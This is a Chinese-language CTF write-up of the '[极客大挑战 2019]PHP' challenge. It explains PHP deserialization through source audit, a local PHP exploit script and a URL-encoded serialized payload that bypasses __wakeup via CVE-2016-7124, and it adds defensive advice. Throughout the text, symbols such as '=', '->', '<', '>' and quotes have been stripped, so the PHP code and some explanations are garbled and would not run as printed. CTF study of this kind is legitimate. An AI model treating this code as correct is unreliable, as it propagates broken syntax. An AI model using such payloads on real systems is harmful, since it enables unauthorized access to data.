1. 项目概述一次关于PHP反序列化的“极客”之旅最近在复盘一些经典的CTF题目发现“[极客大挑战 2019]PHP”这道题在各大论坛和博客里被反复提及但很多解析要么过于简略要么默认读者已经具备了Web安全和PHP反序列化的深厚功底。对于刚入门安全、或者从其他方向比如逆向、PWN转过来的朋友来说理解起来还是有些门槛。所以我想从一个纯小白的视角把这道题从头到尾、掰开揉碎了讲一遍。我们的目标不仅仅是解出这道题更是要搞清楚PHP反序列化漏洞的来龙去脉理解__wakeup、__destruct这些魔术方法在漏洞利用中扮演的关键角色并亲手构建一个能用的payload。如果你对“反序列化”这个词还感到陌生或者看到O:6:“welcome”:1:{s:4:“name”;s:...}这样的字符串就头疼那么这篇笔记正是为你准备的。我们将从网站访问开始一步步分析代码、理解原理、构造利用链最终拿到flag。整个过程我会尽量模拟新手可能遇到的所有困惑点并给出详细的解释。2. 环境准备与初步信息收集2.1 题目环境搭建与访问通常这类题目会提供一个Web访问地址。由于原题环境可能已关闭我们可以使用Docker或CTFd等平台搭建一个复现环境。核心是题目提供的源码。我们访问目标网址假设为http://target/首先看到的可能是一个简单的页面。作为第一步永远是信息收集。我会习惯性地按下F12打开开发者工具查看网络请求和源代码。更重要的是查看是否有robots.txt文件。访问http://target/robots.txt我们很可能发现关键提示User-agent: * Disallow: / Disallow: /flag.php注意robots.txt文件常用于指示网络爬虫哪些页面可以抓取哪些不可以。在CTF中出题人经常利用它来隐藏或提示关键文件。这里Disallow: /flag.php几乎明示了flag.php的存在但它被禁止访问。这通常意味着我们需要通过其他方式比如漏洞来读取或包含这个文件。2.2 代码审计入口寻找既然flag.php直接访问被阻我们需要寻找其他入口点。常见的思路是寻找文件包含、反序列化、命令执行等漏洞的触发点。题目名称为“PHP”暗示漏洞点在PHP代码中。我们尝试访问一些常见备份文件或源码泄露路径例如index.php.bak、www.zip、/.git/等。在这个题目中经典的做法是访问http://target/index.php然后通过构造特殊的请求比如?source1来触发源码泄露。很多CTF题目会设计一个“彩蛋”在URL中加入?source参数即可显示当前页面的源代码。我们尝试访问http://target/index.php?source1。成功了页面展示了index.php的完整源代码。这是我们进行代码审计的起点。3. 核心代码审计与漏洞原理深度解析3.1index.php源码拆解获取到的源码是漏洞分析的核心。我们逐段分析?php include class.php; $select $_GET[select]; $resunserialize($select); ?代码解读include class.php;包含了另一个名为class.php的文件那里很可能定义了关键的类。$select $_GET[select];直接从GET请求参数中获取名为select的值没有任何过滤如trim()、htmlspecialchars()或反序列化白名单校验。这是一个非常危险的信号。$resunserialize($select);将获取到的$select参数直接传递给unserialize()函数执行反序列化操作。符号用于抑制可能产生的错误信息但这不影响漏洞本身。这里就是最核心的漏洞点——反序列化漏洞。原理深究为什么反序列化是危险的序列化是将对象的状态信息转换为可以存储或传输的形式字符串的过程。反序列化则是将这个字符串恢复为对象。危险在于反序列化过程会自动调用对象的一些特定方法魔术方法如果攻击者能够控制反序列化的字符串就能操控这些方法的执行进而可能执行任意代码、进行文件操作等。 PHP中常见的危险魔术方法包括__wakeup(): 当对象被反序列化时自动调用。__destruct(): 当对象被销毁时自动调用。__toString(): 当对象被当作字符串使用时自动调用。__call(): 在对象中调用一个不可访问方法时调用。由于unserialize()的参数完全可控我们需要去class.php中查看定义了哪些类以及它们的魔术方法寻找可以利用的“跳板”。3.2class.php源码审计与利用链构造接下来查看class.php的源码。同样我们可以尝试访问http://target/class.php?source1来获取。?php include flag.php; error_reporting(0); class Name{ private $username nonono; private $password yesyes; public function __construct($username,$password){ $this-username $username; $this-password $password; } function __wakeup(){ $this-username guest; } function __destruct(){ if ($this-password ! 100) { echo /brNO!!!hacker!!!/br; echo You name is: ; echo $this-username;echo /br; echo You password is: ; echo $this-password;echo /br; die(); } if ($this-username admin) { global $flag; echo $flag; }else{ echo /brhello my friend~~/brsorry i cant give you the flag!; die(); } } } ?代码审计与分析包含flag文件include flag.php;这行代码将flag.php包含进来其中定义了$flag变量。我们的目标就是让程序输出这个变量。类Name定义定义了一个名为Name的类它有两个私有属性$username和$password。魔术方法__wakeup()function __wakeup(){ $this-username guest; }该方法在对象被反序列化时自动调用。它会强制将$username属性重置为guest。这看起来是一个安全措施试图阻止我们在反序列化时控制$username。魔术方法__destruct()function __destruct(){ if ($this-password ! 100) { // ... 输出信息并终止脚本 die(); } if ($this-username admin) { global $flag; echo $flag; }else{ // ... 输出拒绝信息并终止脚本 die(); } }该方法在对象被销毁时自动调用例如脚本执行结束。它包含了获取flag的逻辑第一层判断检查$password是否等于100。如果不等于则输出黑客警告并退出我们无法继续。第二层判断如果$password等于100再检查$username是否等于admin。如果是则输出全局变量$flag否则拒绝并退出。漏洞利用逻辑梳理我们的目标是让程序执行到echo $flag;。我们必须让__destruct()方法得以执行对象被销毁时自动发生。在__destruct()内部我们必须通过两个if判断$this-password 100$this-username admin但是存在一个障碍__wakeup()方法会在反序列化时立即执行并将$username重置为guest这会导致第二个判断失败。矛盾与突破口我们需要$username在__destruct()时是admin但__wakeup()会把它改成guest。这就形成了一个矛盾。解决这个矛盾就是本题的第一个关键点。实操心得绕过__wakeup()的CVE漏洞在PHP版本小于5.6.25或7.x小于7.0.10的环境中存在一个著名的CVE漏洞CVE-2016-7124。其核心是当序列化字符串中表示对象属性数量的值大于实际属性数量时__wakeup()方法将不会被执行。 例如一个类有1个属性序列化字符串中对象格式为O:4:“Name”:1:{...}。如果我们将其改为O:4:“Name”:2:{...}将属性数量1改为更大的数如2在受影响的PHP版本中反序列化时就会跳过__wakeup()的调用。因此我们的利用链就清晰了构造一个Name类的对象设置其$password100$usernameadmin。序列化这个对象。修改序列化字符串将对象属性数量从1改为更大的数例如2以触发CVE-2016-7124绕过__wakeup()对$username的重置。将修改后的字符串作为select参数的值发送给index.php。服务器反序列化该字符串跳过__wakeup()对象属性保持不变。脚本结束时对象销毁触发__destruct()。__destruct()中判断$password100和$usernameadmin均成立输出$flag。4. 攻击Payload构造与实战演练4.1 编写攻击脚本我们无法直接控制服务器上的代码但我们可以本地模拟序列化过程生成payload。以下是使用PHP CLI命令行界面编写的攻击脚本?php // 本地模拟的 class.php 关键部分 class Name{ private $username nonono; private $password yesyes; // 为了本地序列化我们需要一个构造函数虽然题目中可能用不到但定义完整类有助于理解 public function __construct($u, $p){ $this-username $u; $this-password $p; } } // 1. 实例化对象并设置我们想要的属性值 $obj new Name(admin, 100); // 2. 序列化对象 $serialized serialize($obj); echo [*] 原始序列化字符串:\n; echo $serialized . \n\n; // 3. 修改序列化字符串绕过 __wakeup // 原始字符串类似O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} // 我们需要将表示属性数量的数字加大例如从2改为3 // 注意私有属性序列化后格式为 %00类名%00属性名长度会变这里我们先获取原始字符串再替换。 $modified str_replace(:2:{, :3:{, $serialized); // 将属性数量2改为3 echo [*] 修改后的序列化字符串 (绕过 __wakeup):\n; echo $modified . \n\n; // 4. 进行URL编码以便通过GET参数安全传输 $payload urlencode($modified); echo [*] URL编码后的Payload:\n; echo ?select . $payload . \n; ?脚本执行与输出解析运行这个PHP脚本php exploit.php你会得到类似下面的输出[*] 原始序列化字符串: O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} [*] 修改后的序列化字符串 (绕过 __wakeup): O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} [*] URL编码后的Payload: ?selectO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D关键点解释私有属性的序列化注意s:14:“Nameusername”。这里的14是字符串“Nameusername”的长度。但实际字符串里包含了不可见的空字符%00。在序列化私有属性时格式是%00类名%00属性名。所以Nameusername实际上是\0Name\0username长度为24814。在URL编码后%00被编码为%00。这是很多新手构造payload时出错的地方。属性数量的修改我们只修改了对象声明部分O:4:“Name”:2:-O:4:“Name”:3:将属性计数从2改为了3。后面的属性列表保持不变。这正符合CVE-2016-7124的触发条件。4.2 发起攻击与获取Flag现在我们有了编码后的payload。将其拼接在目标URL后面通过浏览器或curl等工具发起请求http://target/index.php?selectO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D访问这个链接。如果靶场环境PHP版本符合漏洞条件并且没有其他过滤你应该会直接看到flag输出在页面上而不是“NO!!!hacker!!!”或“hello my friend~~”的提示。5. 漏洞原理延伸与防御思考5.1 为什么CVE-2016-7124能绕过__wakeup()这个漏洞根源于PHP内核在unserialize()过程中对对象属性计数的校验逻辑不严谨。当声明的属性数量大于实际数量时内核在完成属性提取后可能因为计数不匹配而提前终止了某些内部初始化流程其中就包括对__wakeup()方法的调用。这属于一个逻辑缺陷在后来的版本中被修复。修复后如果数量不匹配PHP会抛出一个警告Warning但默认情况下__wakeup()仍然会被调用。在某些严格配置下甚至可能直接导致反序列化失败。5.2 其他可能的利用方式与变形本题利用了__destruct()和属性判断。在实际漏洞挖掘中魔术方法的利用方式多种多样__toString()利用如果一个对象被当作字符串处理如echo $obj;或$str “prefix” . $obj;且该对象的__toString()方法中包含了危险操作如文件读取file_get_contents($this-file)那么控制$file属性就能实现任意文件读取。__call()与__get()这些方法在访问不可访问的属性或方法时触发有时会与类的其他方法联动形成复杂的POP链Property-Oriented Programming。结合其他函数反序列化漏洞的最终利用往往需要借助一些“跳板”函数如call_user_func()、eval()极少见、文件操作函数等。本题中__destruct()里的echo $flag;就是直接的输出跳板。5.3 从开发者角度如何防御绝不信任用户输入这是铁律。unserialize()的参数绝对不应该直接来自$_GET、$_POST或$_COOKIE等用户可控输入。使用安全的白名单机制如果业务必须使用反序列化可以考虑使用json_decode()/json_encode()替代或者实现一个严格的白名单只允许反序列化预定义的、安全的类。升级PHP版本及时将PHP升级到安全版本修复已知的CVE漏洞如CVE-2016-7124。魔术方法中谨慎操作在__wakeup()和__destruct()等魔术方法中避免执行关键性逻辑如权限判断、数据持久化或者在其中加入二次验证。使用__sleep()控制序列化字段在类中定义__sleep()方法指定哪些属性可以被序列化防止敏感属性泄露。6. 实战中可能遇到的问题与排查技巧6.1 Payload构造失败常见原因私有/保护属性格式错误这是最常见的问题。在序列化字符串中手动修改时漏掉了属性名中的空字符%00或类名导致反序列化后属性无法正确匹配对象属性变为默认值或NULL。排查使用var_dump(serialize($obj));仔细查看原始字符串注意每个字符的长度。使用bin2hex()函数查看十六进制可以清晰看到00的位置。PHP版本不符靶场环境可能使用了已修复CVE-2016-7124的PHP版本5.6.25或7.0.10。此时修改属性数量将无法绕过__wakeup()。排查尝试不修改属性数量直接发送原始序列化字符串。如果返回信息中username变成了guest说明__wakeup()生效了证明版本已修复。此时需要寻找其他漏洞点但本题逻辑上其他路径无法通。URL编码问题浏览器地址栏或某些工具在发送请求时可能会对URL进行二次编码或解码导致payload变形。排查使用Burp Suite、Postman或curl命令行工具直接发送原始编码后的payload避免浏览器干扰。使用curl -v “http://target/index.php?selectPAYLOAD“可以查看原始请求。特殊字符被过滤虽然本题没有但有些题目可能会对反序列化字符串中的花括号{}、冒号:等进行过滤或转义。排查尝试对payload进行简单的字符替换或编码绕过例如双重URL编码、十六进制编码等。6.2 工具辅助与手动调试PHP在线沙盒对于不确定的序列化结果可以使用在线的PHP代码运行环境快速测试验证序列化字符串的生成和修改是否正确。本地搭建环境在Docker中快速拉取一个与靶场相似版本的PHP环境如php:5.6-apache将题目源码复制进去在本地进行调试和payload生成成功率最高。使用unserialize()测试在攻击脚本中生成修改后的payload后可以尝试用unserialize()函数反序列化一下看看是否能成功还原对象并打印其属性值验证payload的有效性。// 在攻击脚本末尾添加测试 $test_obj unserialize($modified); if ($test_obj) { echo “[测试] 反序列化成功。\n”; // 使用Reflection来查看私有属性 $reflection new ReflectionClass($test_obj); $username_prop $reflection-getProperty(‘username’); $username_prop-setAccessible(true); $password_prop $reflection-getProperty(‘password’); $password_prop-setAccessible(true); echo ‘username: ‘ . $username_prop-getValue($test_obj) . “\n”; echo ‘password: ‘ . $password_prop-getValue($test_obj) . “\n”; } else { echo “[测试] 反序列化失败\n”; }通过这道“[极客大挑战 2019]PHP”题目的详细拆解我们不仅完成了一次CTF解题更深入理解了PHP反序列化漏洞的基本原理、关键魔术方法的作用、以及如何利用历史CVE漏洞绕过安全限制。整个过程从信息收集、代码审计、逻辑分析到payload构造与发送涵盖了Web安全实战的典型流程。记住理解漏洞背后的原理远比记住一个payload更重要。在遇到类似的题目或真实世界代码审计时这种“寻找用户输入点 - 追踪危险函数 - 分析可控数据流 - 构造利用链”的思维方式才是核心武器。